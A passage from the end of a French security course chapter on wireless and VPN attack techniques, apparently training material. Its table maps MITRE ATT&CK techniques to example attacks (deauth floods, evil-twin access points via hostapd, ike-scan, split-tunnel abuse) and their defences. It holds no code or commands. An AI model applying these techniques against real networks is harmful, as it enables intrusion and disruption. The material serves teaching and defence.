| Identifiants depuis les magasins de mots de passe | T1555 | Lecture de fichiers de session (CVE Pulse) | Patch, surveiller l'accès aux fichiers |
| Déni de service réseau | T1498 | Flood deauth, DoS SAE | 802.11w, limitation de débit |
| Collecte d'informations réseau sur la victime | T1590 | Collecte de requêtes de sondage, ike-scan | Minimiser les données de réponse aux sondages |
| Point d'accès Wi-Fi pirate | T1465 | Evil twin, hostapd | WIDS, EAP basé sur certificats |
| Exfiltration via protocole alternatif | T1048 | Abus du tunnel partagé VPN | Application du tunnel complet, DLP |
Fin du Chapitre 3.4 - Techniques d'attaque sans fil et VPN
Fin du Module 3 - Sécurité offensive et exploitation
Suivant : Module 4 - Ingénierie défensive et renforcement Chapitre 4.1 : Architecture de pare-feu, segmentation et Zero Trust